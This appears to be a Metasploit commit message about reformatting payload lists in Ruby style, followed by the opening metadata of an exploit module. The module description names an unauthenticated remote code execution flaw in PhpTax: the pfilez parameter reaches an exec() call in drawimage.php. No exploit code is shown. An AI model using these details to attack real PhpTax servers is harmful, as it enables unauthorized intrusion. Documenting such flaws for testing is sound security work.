Tod Beardsley c547e84fa7 Prefer Ruby style for single word collections
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.

This change converts all Payloads to this format if there is more than
one payload to choose from.

It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

'Name' => "PhpTax pfilez Parameter Exec Remote Code Injection",
'Description' => %q{
This module exploits a vulnerability found in PhpTax, an income tax report
generator. When generating a PDF, the icondrawpng() function in drawimage.php
does not properly handle the pfilez parameter, which will be used in a exec()
statement, and then results in arbitrary remote code execution under the context
of the web server. Please note: authentication is not required to exploit this
vulnerability.
